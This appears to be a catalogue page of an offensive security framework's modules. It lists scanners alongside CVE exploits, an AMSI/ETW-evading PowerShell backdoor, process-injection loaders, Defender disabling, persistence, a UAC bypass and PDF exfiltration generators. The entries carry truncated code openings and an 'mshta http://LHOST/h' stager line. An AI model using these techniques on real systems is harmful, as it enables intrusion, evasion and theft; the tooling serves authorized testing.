Digital Rebar - Local File Inclusion Detection

Digital Rebar versions 4.3.0, 4.3.2, 4.3.3, 4.4.0, and maybe others are vulnerable to local file inclusion because web requests can navigate outside of DRP controlled areas. !/usr/bin/env python3 -- coding: utf-8 -- """Digital Rebar versions 4.""" import re from kittysploit import from...

Jamf Pro Setup Assistant Panel - Detect

Jamf Pro Setup Assistant panel was detected. !/usr/bin/env python3 -- coding: utf-8 -- """Jamf Pro Setup Assistant panel was detected.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Jamf Pro Setup Assistant Panel -...

UniFi Network Application CVE-2026-22557 — path traversal file read

Exploits CVE-2026-22557: unauthenticated arbitrary file read through the guest portal pageerror parameter on /guest/s//wechat/sign and /login. Uses lib.protocols.http.lfi for one-shot reads or an interactive LFI shell. Pair with scanner/http/unificve202622557. Note: full OS file disclosure...

ZoneMinder CVE-2026-27470 second-order SQLi

Exploits CVE-2026-27470: authenticated second-order SQL injection in ZoneMinder getNearEvents web/ajax/status.php. Stores a UNION payload in Event Name/Cause parameterized write, then triggers via entity=nearevents. Affected: = 1.36.37 and 1.37.61–1.38.0. Fixed: 1.36.38 / 1.38.1. Requires Events...

FreeScout CVE-2026-28289 detection

Fingerprints FreeScout and compares the reported version against CVE-2026-28289 = ..., fixed in .... Optional admin credentials can be used only to read the version from the authenticated footer. Version check only — no exploitation. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing...

Nitro Pro PDF Reader 11 Javascript API RCE

CVE-2017-7442: Nitro / Nitro Pro PDF Reader 11 unsafe Javascript API. this.saveAs writes an embedded HTA to disk; app.launchURL with a c$: path bypasses the security dialog and executes it. Cmd/PowerShell payloads are run from the HTA directly. Binary MZ payloads are staged over HTTP as a...

Foxit PDF Reader Pointer Overwrite UAF

Foxit PDF Reader v9.0.1.1049 Use-After-Free CVE-2018-9948 / CVE-2018-9958. Select a Windows payload; the PDF ROP calls WinExec on a short command. delivery=http serves an HTA stage over HTTP mshta http://LHOST/h and can also serve the PDF. delivery=smb embeds a UNC path to an EXE/BAT you host...

VLC Media Player MKV Use After Free

CVE-2018-11529: Use-after-free in VideoLAN VLC = 2.2.8 MKV parsing 32-bit and 64-bit. Generates two .mkv files: part1 vulnerability + heap spray to open in VLC, and part2 must sit in the same directory. Requires a raw shellcode payload = 0x300 bytes. Meterpreter-sized payloads often crash VLC —...

BLE GATT Characteristics

Enumerates GATT characteristics UUID, handle, properties for a BLE session !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — list GATT characteristics and properties.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin import json class ModulePost,...

DoIP Client

Connects to an automotive DoIP ISO 13400 gateway, performs routing activation, and creates a session for UDS diagnostic post modules !/usr/bin/env python3 -- coding: utf-8 -- """DoIP bind listener — connects to a DoIP gateway and opens a diagnostic session.""" from kittysploit import from...

OPC UA Client

Connects to an OPC UA server and creates an interactive OPC UA shell session !/usr/bin/env python3 -- coding: utf-8 -- """OPC UA bind listener — opens an OPC UA session for node browsing and diagnostics.""" from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from...

Windows Gather Wireless Current Connection Info

Gather information about the current connection on each wireless LAN interface via 'netsh wlan show interfaces' on a Windows shell or Meterpreter session. !/usr/bin/env python3 -- coding: utf-8 -- """ Gather current WLAN connection details on each wireless interface Metasploit-style...

Moodle detection

Detects a Moodle installation and reports the version from lib/upgrade.txt when available. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Moodle and report the version from lib/upgrade.txt.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Metasploitable3 Linux Environment

Metasploitable3 Ubuntu 14.04 lab VM packaged for Docker — intentionally vulnerable Linux target for authorized internal-lab agent benchmarks. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import class ModuleDockerEnvironment: info = "name": "Metasploitable3 Linux Environment",...

phpMyAdmin Authenticated Remote Code Execution (CVE-2018-12613)

phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. Tested against phpMyAdmin v4.8.1. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyAdmin 4.8.0/4.8.1 authenticated LFI to RCE — CVE-2018-12613...

Spring Cloud Azure B2C CVE-2026-50338 Detection

Detect B2C JWT-protected APIs; verify CVE-2026-50338 when Entra creds are set !/usr/bin/env python3 -- coding: utf-8 -- """Detect CVE-2026-50338 Spring Cloud Azure B2C cross-issuer auth bypass.""" from future import annotations from kittysploit import from lib.protocols.http.httpclient import...

Windows Gather Kerberos Ticket Audit

Dump klist and logon session Kerberos context !/usr/bin/env python3 -- coding: utf-8 -- import json from kittysploit import from lib.post.windows.session import WindowsSessionMixin class ModulePost, WindowsSessionMixin: info = "name": "Windows Gather Kerberos Ticket Audit", "description": "Dump...

Linux Ptrace Inject Evasion

Generate a Linux x64 ELF that performs classic ptrace injection: PTRACEATTACH, remote mmap via syscall gadget, PTRACEPOKEDATA, RIP hijack. !/usr/bin/env python3 -- coding: utf-8 -- """ Classic ptrace shellcode injection Linux x64. Spawns a sacrificial process, attaches with ptrace, remote-mmaps v...

Modbus write enabled

Checks whether Modbus TCP writes FC6 are accepted without authentication by writing a test value and verifying the register change. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from lib.protocols.ics.icsscannerclient...

Consul KV Unauthenticated Write Verification

Tests reversible Consul /v1/kv PUT/DELETE when writeprobe is enabled. !/usr/bin/env python3 -- coding: utf-8 -- """Verify unauthenticated Consul KV writes reversible probe.""" import secrets from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Username Search

Check social platforms for likely username existence using the cached WhatsMyName site catalog with trusted-site filtering. !/usr/bin/env python3 -- coding: utf-8 -- """Enumerate social-media accounts for a username via the WhatsMyName catalog.""" from future import annotations import json import...

Modbus UDP Detection

Detects Modbus UDP responders via read holding registers probe. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Modbus UDP services on port 502.""" from kittysploit import from lib.protocols.ics.icsscannerclient import Icsscannerclient from lib.scanner.modbus.detectors import probemodbusudp...

Rancher Detection

Detects Rancher management server API and dashboard. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Rancher Kubernetes management UI.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import parsejsonresponse class...

Argo CD Detection

Detects Argo CD version API and login UI exposure. !/usr/bin/env python3 -- coding: utf-8 -- """Detect exposed Argo CD GitOps UI.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = "name": "Argo CD Detection", "description":...

Citrix Gateway Detection

Detects Citrix ADC/Gateway VPN and logon pages. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Citrix ADC / Gateway login surfaces.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import ishtmlresponse class...

Favicon HTTP Fingerprint

Collect favicon hashes Shodan-compatible MurmurHash3 and HTTP fingerprints Server, powered-by, title for host correlation and shadow-asset discovery. !/usr/bin/env python3 -- coding: utf-8 -- """Favicon and HTTP fingerprint pivoting for host correlation.""" from future import annotations import...

Windows Defender Exclusion / Disable

Add a Defender exclusion path preferred, lower noise or optionally disable real-time protection components via Set-MpPreference. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.windows.session import WindowsSessionMixin class ModulePost, WindowsSessionMixin: info =...

S7 module enumeration

Enumerates rack/slot modules on a Siemens S7 PLC using SZL 0x0013 reads CPU, IO, CP modules. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from lib.protocols.ics.icsscannerclient import Icsscannerclient from...

VxWorks RPC integer overflow DoS

Exploits CVE-2015-7599, an integer overflow in VxWorks RPC authentication svcauth.c, to crash or disrupt VxWorks 5.5 through 6.9.4.1 systems with RPC enabled on TCP/111. !/usr/bin/env python3 -- coding: utf-8 -- """ VxWorks RPC integer overflow denial of service CVE-2015-7599. Triggers an integer...

S7 read DB

Reads bytes from a Siemens PLC data block via an active S7comm session !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.icssessionmixin import S7SessionMixin class ModulePost, S7SessionMixin: info = "name": "S7 read DB", "description": "Reads bytes from a...

SAMR group membership

List local/domain alias membership through MS-SAMR on port 445 without LDAP or Impacket. !/usr/bin/env python3 -- coding: utf-8 -- """ Enumerate local/domain alias membership via SAMR port 445, no LDAP / Impacket. """ from kittysploit import from lib.protocols.samr.samrclient import SamrClient fr...

Gitea Detection

Detects Gitea version API and login UI. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Gitea git forge.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import parsejsonresponse class ModuleScanner, Httpclient: info =...

PowerShell Stager Evasion

Writes a PowerShell backdoor with optional AMSI bypass and ETW patch. Supports reverse-shell mode or shellcode stager mode VirtualAlloc + CreateThread. !/usr/bin/env python3 -- coding: utf-8 -- """ PowerShell stager with AMSI/ETW evasion prelude. Generates a .ps1 script with optional in-process...

PDF Phone-Home Full Suite

Generate the full KittySploit PDF phone-home suite 70 files with phone-home callbacks for upload-scanner and red-team validation. Covers URI actions, JavaScript, XFA, XXE, UNC/NTLM, and viewer-specific CVE PoCs. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf import...

Host Header Injection Probe

Tests Host and X-Forwarded-Host manipulation for reflection in responses, redirects, and cache/password-reset style poisoning signals. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Host header and X-Forwarded-Host injection misconfigurations.""" from future import annotations import json fr...

OpenAPI Schema Abuse

Discovers exposed OpenAPI/Swagger documents and probes documented GET endpoints for unauthenticated access to sensitive routes. !/usr/bin/env python3 -- coding: utf-8 -- """Probe exposed OpenAPI/Swagger specs for unauthenticated sensitive endpoints.""" from future import annotations import json...

Splunk Detection

Detects Splunk management REST API and login UI. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Splunk Enterprise web/API interface.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import isxmlresponse, ishtmlresponse...

Search Engine Footprint

Run passive search-engine dorks site:, filetype:, inurl: and collect indexed URLs, titles, and sensitive path hints. !/usr/bin/env python3 -- coding: utf-8 -- """Passive search-engine footprinting via HTML search results.""" from future import annotations import json import re from typing import...

sRDI Reflective DLL Evasion

Generate a Windows x64 EXE that embeds sRDI-converted shellcode. Raw payload is wrapped in a minimal DLL, converted to reflective loader shellcode, encrypted ChaCha20/RC4, and executed in-process. !/usr/bin/env python3 -- coding: utf-8 -- """ Self-reflective DLL injection sRDI evasion loader. Wra...

QUIC Upload File

Upload a local file to the remote host via an active QUIC C2 session !/usr/bin/env python3 -- coding: utf-8 -- import os from kittysploit import from core.framework.failure import FailureType, ProcedureError from lib.protocols.quic.quicsessionmixin import QuicSessionMixin class ModulePost,...

Open WebUI Unauth Verification

Confirms Open WebUI /api/config or /api/models without authentication. !/usr/bin/env python3 -- coding: utf-8 -- """Verify Open WebUI unauthenticated config and model access.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation...

SMB session acquire

Chains SMB recon null session, guest, credentials or wordlists and opens an authenticated SMB session when access is obtained. !/usr/bin/env python3 -- coding: utf-8 -- """ Probe SMB authentication profiles and open an interactive SMB session. Workflow: 1. Check null session / guest / supplied...

Ollama Detection

Detects Ollama model API via /api/tags endpoint. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Ollama local LLM API.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.scanner.http.responsevalidation import parsejsonresponse class ModuleScanner,...

RDP Service Detection

Detects RDP service via TPKT/X.224 pre-auth handshake. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Microsoft Remote Desktop RDP service on TCP 3389.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.rdp.detectors import proberdp...

WinRM Service Detection

Detects WinRM /wsman endpoints on ports 5985/5986. !/usr/bin/env python3 -- coding: utf-8 -- """Detect WinRM /wsman endpoints and advertised auth methods.""" from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclient from lib.scanner.winrm.detectors import probewinrm...

PDF CVE-2014-8453 FormCalc Post Exfil

Generate PDF PoC for CVE-2014-8453: XFA FormCalc Post same-origin policy bypass exfiltrating data to attacker URL. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.pdf.mixins import PdfCveMixin from lib.pdf.generators.xfa import writexfaformcalcpost class ModuleAuxiliary...

Person to Usernames

Generate likely username candidates from a person's full name, structured name fields, display name, and aliases. !/usr/bin/env python3 -- coding: utf-8 -- """Generate likely usernames from a person's name and aliases.""" from future import annotations import json import os from kittysploit impor...

Authenticated HTTP Surface Mapper

Maps post-authentication attack surface from a landing page using session cookies — admin paths, uploads, APIs, and privileged forms. !/usr/bin/env python3 -- coding: utf-8 -- """ Authenticated HTTP surface mapper. After login, crawls the landing page and shallow linked paths to discover admin...

Shell Profile Persistence

Persists a payload in shell startup files: /.bashrc, /.profile, /etc/profile.d/, or a custom profile path. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.linux.persistencehelpers import LinuxPersistenceMixin, PERSISTENCEAGENT class ModulePost, LinuxPersistenceMixi...

Windows UAC Bypass — FodHelper

HKCU ms-settings Shell Open command hijack + fodhelper.exe DelegateExecute, then registry cleanup. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.post.windows.uacbypass import REGMSSETTINGS, UACAGENT, UacBypassMixin class ModulePost, UacBypassMixin: info = "name":...